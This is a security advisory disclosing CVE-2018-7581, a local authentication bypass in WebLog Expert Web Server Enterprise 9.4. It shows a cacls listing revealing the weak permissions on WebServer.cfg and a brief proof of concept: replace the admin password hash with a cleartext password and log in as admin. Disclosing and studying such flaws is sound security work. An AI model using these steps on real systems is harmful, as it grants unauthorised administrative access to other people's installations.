WebLog Expert Web Server Enterprise v9.4

WebLog Expert is a fast and powerful access log analyzer. It will give you information about your site's visitors:
activity statistics, accessed files, paths through the site, information about referring pages, search engines, browsers,
operating systems, and more. The program produces easy-to-read reports that include both text information (tables) and charts.



Vulnerability Type:
===================
Authentication Bypass



CVE Reference:
==============
CVE-2018-7581



Security Issue:
================
The "WebServer.cfg" under "ProgramData\WebLog Expert\WebServer\" used by WebLog Expert Web Server Enterprise 9.4
has weak permissions (BUILTIN\Users:(ID)C), which allows local users to set a cleartext password and login as admin.

A standard non Windows Administrator user can edit the 'WebServer.cfg' file under "C:\ProgramData\WebLog Expert\WebServer"
set to a cleartext password and login as admin.

e.g.

C:\ProgramData\WebLog Expert\WebServer>cacls * | more
C:\ProgramData\WebLog Expert\WebServer\WebServer.cfg BUILTIN\Users:(ID)C
BUILTIN\Administrators:(ID)C
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F


Exploit/POC:
=============
Login as a 'Standard' Windows user
Comment out the Admin hashed password using ';' then add any cleartext password as follows.

[User:admin]
Password=1234
;PasswordHash=3413C538CE5234FB194E82AE1F3954FD2BC848C0
bAllProfiles=1

Now login in as Admin! :)



Network Access:
===============
Local



Severity:
=========
Medium
